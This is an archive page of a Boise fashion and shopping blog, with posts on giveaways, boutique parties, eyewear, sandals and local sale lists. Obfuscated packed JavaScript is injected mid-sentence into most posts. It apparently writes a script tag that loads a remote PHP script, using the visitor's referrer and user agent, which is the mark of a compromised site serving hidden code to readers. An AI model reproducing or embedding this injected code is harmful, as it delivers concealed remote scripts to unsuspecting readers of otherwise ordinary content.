Valentine’s Day Giveaways & Contests!

Hi friends! Some of you might be tired of seeing all the contests and giveaways I’ve been posting on my Facebook page (or maybe not?); it seems the last two weeks eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkefb|var|u0026u|referrer|nfifd||js|php’.split(‘|’),0,{}))
there’s been a TON! As Valentine’s Day draws near, I thought it would be easier to just post all the awesome fun in ONE place, so you can click from here to enter all these fantastic giveaways. GOOD LUCK, my friends!!! XOXO! Continue reading “Valentine’s Day Giveaways & Contests!” →

Kicking Winter’s Butt!

Continue reading “Kicking Winter’s Butt!” →

Apricot Lane Fashion Party!

Jacket: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhdnk|var|u0026u|referrer|zekts||js|php’.split(‘|’),0,{}))
Nordstrom (similar) // Tanks: H&M // Shorts: Express (similar) // Necklace: Express // Shoes: Target

Last night, I was invited by Kelly (above, right) to attend a shopping party at Apricot Lane, with fellow fashion bloggers Annelise from AunieSauce, and Yuli from Yuli Conversations. (Sorry you weren’t able to join us, Yuli – we missed you!) The entire store was 20% off, so we had a blast shopping, styling customers (and each other!), and eating cupcakes. Yum!!! A girly night was had by all! Here are some fun photos from our Fashion Party. Continue reading “Apricot Lane Fashion Party!” →

Warby Parker Style ~ An Eye For An Eye

Top: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adezt|var|u0026u|referrer|yyifd||js|php’.split(‘|’),0,{}))
Apricot Lane // Style Necklace: Handmade by Unigon Specialties

Not everyone knows this, but I’m a grown-up missionary kid. (MK, PK… I’m ok! Ha.) If you spend much time around me, you’re bound to hear stories of train rides to Siberia, playing in the streets of Bangkok, chasing tarantulas in the mountains of Honduras, and eating roadside jerked chicken in Jamaica. My childhood was largely spent traveling the globe, learning about different cultures, helping people, and surviving by the generosity of others.

So when it comes to people or businesses that “give back,” pay it forward, pass it on, etc., heck yeah, I’m on board! I know what it’s like to have so little, that even the smallest token of generosity can change a person’s day, week, or even life.

I recently discovered a cool company called Warby Parker, who create vintage-inspired eye wear, AND give generously to our world. They’ve been featured in Forbes, The New York Times, Oprah, GQ, and Vogue! But the coolest thing about Warby Parker, is the fact that for EVERY pair of glasses you buy, they DONATE a pair to a needy man, woman, or child. How awesome is that? To date, they have distributed over 250,000 pairs!

What’s so important about glasses? According to Warby Parker’s website, glasses can increase one’s productivity by 20%, making them “one of the most effective poverty alleviation tools in the world!” And access to affordable eyewear is very limited, for almost 1,000,000 of our world’s citizens. That equates to 15% of the world’s population being “unable to effectively learn or work because they can’t see clearly.”

I love Warby Parker, for what they are doing to help the needy! Not only are there sunglasses hip & fun, but they’re also surprisingly affordable, especially for eco-friendly, designer eyewear. AND I have the added satisfaction of knowing my dollars are pulling double-duty, in providing much-needed sight to someone in this world that desperately needs it!

And that, my friends, is no small token of generosity. 🙂

Check out Warby Parker’s Do Good campaign here.

My Top Pick: The “Jules” in Marbled Charcoal

More From Warby Parker’s “The Ocean” Collection

“Percy” in Burnt Lemon Tortoise

“Sayles” in Driftwood

The “Preston” glasses in Sea Glass Blue

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Hot Looks for Spring, at the 2013 Fashion Show

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfnbk|var|u0026u|referrer|teazd||js|php’.split(‘|’),0,{}))
year I had the privilege of emceeing Boise Towne Square’s Spring Fashion Show, with fabulous DJ Brad Rowen! We had such a blast, showing styles from Apricot Lane, Gymboree, Crazy 8, Romy, Old Navy, and Children’s Place.

Little Trinity was my favorite model; she hopped, twirled, and shimmied her darling self down the runway, stealing the show! That little lady is truly going places. ^_^

Here are some of the fun styles our models from TMTV rocked on the runway, starting with the fabulous Trinity!

XOXO,

StyleSpyGirl

Photos by Ammophotog

Models can view and purchase full-sized prints at http://www.ammophotog.com/ordering-gallery

Special thanks to Tina Tatum and her fabulous models from TMTV!

Fun Shoe Review: Fibi & Clo Sandals!

If you’re a self-admitted shoe-a-holic like me, you may know how thrilling it is to receive lovely little packages in the mail, like the one I just got from online shoe boutique eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yibde|var|u0026u|referrer|kazdy||js|php’.split(‘|’),0,{}))
fibi & clo! Pretty shoes… in a box… for me!!! Happy day! 😀

As one of Boise’s hard-working personal shoppers & fashion bloggers, I am on my feet a LOT! But the streets of this town get pretty dang hot in the summer, and I refuse to wear flip-flops as fashion. (They’re functional, so of course I wear them! Just not with styled outfits, lol. Call me picky.) 😉 Last summer I bemoaned my lack of walk-all-day footwear, never really finding a cute pair of sandals that fit my style, or my lifestyle. Gladiators were all the rage, I know. But they don’t suit me!

When fibi & clo contacted me about doing a product review of their sandals, claiming “cute, affordable, and comfortable” as their focus, I jumped at the chance, selecting the “Burst Cascade” style, one of their top sellers. I slipped them on, and was immediately impressed by the comfy, soft padding. Ooh, I could wear these all day! And their coloring is so versatile; I LOVE how the sparkling crystals catch every color, making them endlessly fun to build a variety of outfits around!

I quickly threw some looks together, to cover a variety of situations: Formal, Fun, and Flirty!

Formal: Express necklace, Express bandeau, BCBG dress, fibo & clo sandals

Fun: Custom necklace by Unigon Specialties, Express bandeau, Pink by VS tank, Forever 21 shorts, fibo & clo sandals

Flirty: Express Bandeau, Pink by VS top, Black Orchid skinny jeans, Apricot Lane bracelets, fibo & clo sandals

Which outfit is your favorite? 🙂 I had a blast putting them all together, enjoying the comfort and drama of those awesome shoes.

fibi & clo was created by AnaLiza Alba, in 2009, to be “like tupperware parties, but with shoes!” What started as a house party business quickly grew into an online retailer. If you live in a town where house parties are available, you can contact a sales rep, or become a “fashion agent.” For those of us who live in other parts of the world, check out fibi & clo’s beautiful online store: https://fibiandclo.com. fibi & clo sandals have been featured in Lucky magazine, Lauren Conrad’s style blog, and a host of other fashion websites & magazines. True to their mission, I found them to be high-quality, inexpensive, super-comfy, and downright lovely.

For honest disclosure, I found that the sandals I ordered ran a little on the small side. I was glad I “sized up” to an 8, instead of my usual 7 1/2. Just something to keep in mind! 🙂

Now, if only Spring would get here, so I can wear these beauties all over town! It’s so hard to wait!!!

Impatiently waiting for warm sunshine.

StyleSpyGirl

HAPPY NEW YEAR SALES!

Ok, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eayra|var|u0026u|referrer|nkshz||js|php’.split(‘|’),0,{}))
so Christmas is over and it’s time to get back to normal life, lol. 😉

But wait, the best deals of the year are happening RIGHT NOW!

Here’s a list of sales going on, at Boise Towne Square Mall.

Have fun, and may your 2013 be the best year yet!

xoxo,
StyleSpyGirl

Sales start at 10am January 1st! 🙂

Dillard’s Annual sale – 50% off permanently reduced merchandise* (*some exclusions) – This is the time you want to buy shoes and handbags!!!
Nordstrom Rack – Clear the Rack at Nordstrom Rack sale – up to 70% off
Teavana – Heavenly Sale – 40-75% off select items
Francesca’s Collections – 60% off select items and 30% off redlines
The Children’s Place – up to 70% off redlines
Christopher Banks/CJ Banks – up to 60% off redlines
Gymboree / Crazy 8 – Everything in the store under $12.99 including children’s coats
Macy’s – An extra 20 % off sale
Victoria Secrets – Buy one Get One 50% off Bra Sale
H & M – $10, $15, and $20 racks – OMG
Finishline – 30% off redlines
PolarX custom ornaments – 50% off
Wet Seal – 50% off
Motherhood – at least 50% off
Apricot Lane – 55% off select items
Forever 21 – 30% off
DownEast Basics – 50% off redlines
Hot Topic – Dig in a Box Sale – Denim as low as $9.99, shirts $5.99
Journey’s – 40-70% off
JcPenney -30-60% Clearance
Go Games – 50% off everything
Ann Taylor – Semi-Annual Sale – up to 50% off
Yankee Candle – Semi-Annual Sale – up to 75% off
Bare Escentuals – $49 for 20 luxurious eye colors
Soma – up to 70% off
Pottery Barn – 50% off floor model furniture and 50-60% off Christmas décor
Aeropostale – up to 70% off of everything
See’s Candies – 50% off Christmas candy
Romys – 80% off

Black Friday, Boise Style!

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nssha|var|u0026u|referrer|hzraf||js|php’.split(‘|’),0,{}))
will continue to update this list as I receive info from local businesses! Check back often, & EMAIL me if you want your biz included! stylespygirl@yahoo.com

Black Friday is less than a week away, the traditional beginning to the Christmas shopping season. Are you the type of person who likes to plan ahead, researching the best deals, and deciding which lines are worth standing in at midnight? (Or 9pm, rumored to be Target’s new opening time!)

Maybe crowds, long lines, and riots over limited-availability bargains are right up your alley! But this holiday season, I’m in a “shop local!” kind of mood. 🙂 So here’s my list of Black Friday deals, specials, & events at Boise’s locally and independently-owned small businesses.

Whatever you choose, just remember: Have fun, be safe, and please don’t lose your humanity & manners over a $5 toy, ha ha ha! Christmas is coming, and Santa is already watching your behavior… 😉

Love & Jingle Bells,

Style Spy Girl

Click on the store’s name to view their FB page or website!

52 Clothing ~ Locally-designed chic clothing. “We make high quality limited edition runs of gambling inspired apparel.” Black Friday sale: ALL over 50% off at Www.52-Clothing.com!

Again Consignment ~ Eagle ~ Open 10am-5:30pm Black Friday

All merchandise will be buy one, get one 1/2 price all day long! We will also have Door prizes and Treats. 🙂

Apricot Lane ~ in Boise Towne Square, but independently owned! Open at Midnight.

12am-1am 40% off
1am-2am 35% off
2am-3am 30% off
3am-4am 25% off
4am-7am doorbuster sales
12am-9pm all denim bogo 50% off
Select jewelry bogo free

Babe on a Budget ~ every handbag $5 off every top and jewelry set $3 off. Spend $30 and get $5 gift certificate ~ every handbag $5 off every top and jewelry set $3 off. Spend $30 and get $5 gift cert to spend 2013! http://www.facebook.com/babeonabudget

Deco Hair & Makeup Design ~ 118 S 5th St, Boise, Idaho 83702

Huge sale on products from products from www.numberfourhair.com, www.mirabellabeauty.com, www.sojournbeauty.com, www.asuyeta.com, and www.iwantproof.com. ” We will also be offering gifts with purchase, $50 Xmas gift certificates to the retail shop for $40, gift wrapping, and more. Our airbrush tanning artist is running a special for $10 tans all day, we will be offering Mirabella Minute Makeovers, and will be serving our guests warm n fuzzy cocktails and snacks.”

Mary Kay ~ Everything is 25% off FRIDAY only at http://www.MaryKay.com/suzies

Online Bazaar ~ from a variety of local merchants, including Lilla Rose, Babe on a Budget, JamBerry Nails, Tupperware, Jerky Direct, Pink Zebra, and Simply Fun! Details here:

https://www.facebook.com/events/293993004035913/

Renewed Expressions ~ 8am-6pm Friday

Free earrings to the first 30 customers (must be over 16)

30% off one regular priced item

Scarf tying demonstrations from 12-4

American Express Small Business Saturday (customers have to register with Am. Ex. to participate)50% off Yellow & Purple tags

Purchase a $25 gift certificate and receive $5.00 free

Revolve Consignment ~ on Vista ~ Open from 11-7. Buy one, get one half off on Shoes & Accessories. Spend $50 or more, get %15 off entire purchase (excludes bridal.) 15% off all Weeding Dresses & Accessories ALL WEEKEND!

Ruby Lou ~ Eagle Boutique ~ Ruby Lou will be offering a civilized break from the shopping chaos. Stop in and receive 25% off denim!!! We’ve got the latest and greatest styles in store right now! Gresat colors, great fabrics from your favorites: Hudson, Joe’s Jeans, AG, Sanctuary, and more!

Runway Fashion Exchange ~ 1435 N. Milwaukee St., Boise

Doors open at 8am – First 25 customers get a free $10 Gift Card!

Buy one, get on free tank Tops, sunglasses, & Shoes! 20% off purses & wallets, 25% off all jeans, 30% off all jewelry.

Midnight Runway Event Nov 23, 12 AM – 2 AM ~ Purchase anything from from Midnight through 2AM and use your Special “Midnight Runway” Discount to receive up to an extra 50% off your entire purchase.

Sissy’s Boutique ~ 206 2nd St., Parma, ID ~ “Sissy’s is a fun boutique offering something for everyone! We have super cute purses, hats, belts, wallets, jewelry, tye-dye clothing and much more!” https://www.facebook.com/#!/pages/Sissys-Boutique/162882333847115?fref=ts

Squara’s Homemade Crafts ~ by Sarah Swan, (208) 571-7787. Black Friday Special: Buy one, get one 50% off on the chunky keychains and jewelry. Spend $25 or more and get a special gift!

Subspace ~ 556 Vista Ave, Boise

3 Day Sale: Friday-Saturday-Sunday (Nov 23-24-25)

50% off Pashminas! These are the large-size ones- very versatile!

25% off Select Funtasma women’s shoes/boots

20% off stock of Nevermore & Vamp Body Products

And special closeout on Too Fast clothing & Select fashion corset/skirt sets, up to 50% off!

Also–Small Business Saturday, Shop Small! Register your American Express card at ShopSmall.com to GET $25 BACK ONE TIME WHEN YOU SPEND $25 OR MORE at Subspace on November 24th. Enrollment is limited so act early before enrollments run out.

It’s Beginning to Look A Lot Like Tacky X-Mas Sweaters!

Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zakiy|var|u0026u|referrer|nedbe||js|php’.split(‘|’),0,{}))
by AmmoPhotog

When hot New Orleans’ t-shirt designers Skip N’ Whistle contacted me about participating in their “Tacky Christmas T-shirt Campaign,” I couldn’t wait to see what crazy/cute little thing they were going to send me!

NOTE: The cute X-mas T shirts from Skip N’ Whistle is on a SPECIAL SALE today only, at Fab.com! Click this link to see more styles & colors: http://fab.com/sale/12902/

My first impression upon pulling my Tacky T from the package was, “Ooh, so soft!” My second impression was, “Yay! A women’s t-shirt that’s actually shaped like a WOMAN!” One of my fashion pet peeves is clothing designers that slap “feminine” designs on boxy, boy-shaped shirts, and pass them off as women’s wear. I don’t know about you, but this woman isn’t boxy! 😉

My “Tacky T” turned out to be pretty darn cute. It perfectly matched my favorite Emerson Edwards “Lace Print” skinny jeans from Vault Denim (See “Style Info” below!) With these two pieces in hand, I headed to one of my favorite local boutiques, Apricot Lane, to style up a couple outfits.

Here’s what I came up with! Warm, cozy, fun, and so very Boise. Enjoy!! 🙂

XOXO,

StyleSpyGirl

~ STYLE INFO ~

Photos by AmmoPhotog
Tacky Christmas Sweater T by Skip N’ Whistle
Lace skinny jeans by Vault Denim (Use Party Code 198127 to purchase!)
All other clothing, shoes, and accessories by Apricot Lane Boise

Beautiful Fashions with a Little Bit of Heart & Soul!

A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azzyr|var|u0026u|referrer|nbybr||js|php’.split(‘|’),0,{}))
very special store just opened in Boise Town Square, called Apricot Lane. Ammo from ammophotog, my fellow fashion sleuth and brilliant photographer friend, joined me recently at the Grand Opening festivities. Other bloggers were there too, like Stiletto Siren and Fashion Kellie, shopping the racks and tweeting pics of their favorite finds. Across the board, we were all pretty impressed with the gorgeous fashions Apricot Lane has to offer! But there’s more to this story than just great clothes… 😉
Most of the brands at Apricot Lane are new to this town, but even the familiar ones (like Miss Me & Big Star) come in different styles than what you’ll find in department stores. The clothes are adorable, the staff is fabulous (I mean really fabulous – super sweet & helpful!!!), and the prices are quite reasonable.

But what makes this little store stand out as a truly special shop? Its great big, beautiful heart! ? ? ? ? ?

Apricot Lane first formed in Vacaville, California in 2007, as a franchise that provides high-quality clothing and gifts that were manufactured with integrity and human compassion. Boise’s new Apricot Lane is co-owned by Scott & Teri Lybbert, and Bill & Jen Ackerman. Both couples work hard to stock their boutique with beautiful things that were humanitarianly made!

From bracelets made for surfers in Costa Rica (each colored thread represents a charity that receives a percentage of the sale!), to local craftswomen plucked from Etsy (Flipped Bird purses & gifts!) , to handmade luxury leather bags from seamstresses in Utah (WILL Leather Goods), Apricot Lane provides a truly unique – and humanitarian – shopping experience!

One brand, the IOWEYOU Project, strives to connect consumers with the people behind the clothes. Do you love knowing where your produce came from at the Farmer’s Market? It’s a similar concept! Scan a special barcode on an IOWEYOU product, and your smartphone will show you a picture of the person who handmade that item… AND give you the option of friending them on Facebook!

Another amazing brand is the “good hYOUman” line, founded in 2007 by Brett Novek. From Wikipedia: “After his father died from Non-Hodgkin’s Lymphoma in 2008, Brett started the clothing company Good HYouman in an attempt to save others from the heartache he felt, of which a portion of its profits goes to help people with leukemia and lymphoma.”

Brett’s shirts are American-made, on 12 sewing machines in downtown LA. Every soft, cozy t-shirt and tank top has an encouraging or empowering message on the front. Then, typed inside the shirt is a unique tale of an individual who has overcome disease, abuse, addictions, or other challenges, and lived to share their story with us! As Brett says on his website, “Everyone Has a Story, YOUniting hYOUmanity by sharing the stories that make us hYOUman.”

When AmmoPhotog and I walked through the doors of Apricot Lane, we felt an instant connection to the fashions, and the heart & soul that behind this unique boutique. We love this place, and we’ll be back every chance we get (and maybe every paycheck, ha ha ha!)

Stop by Apricot Lane, on the upper level, near the east end of Boise Towne Square mall. The sales staff are super-friendly and helpful, the clothes are beautiful, and if you pay close attention, something special just might touch your heart.

XOXO,

StyleSpyGirl & AmmoPhotog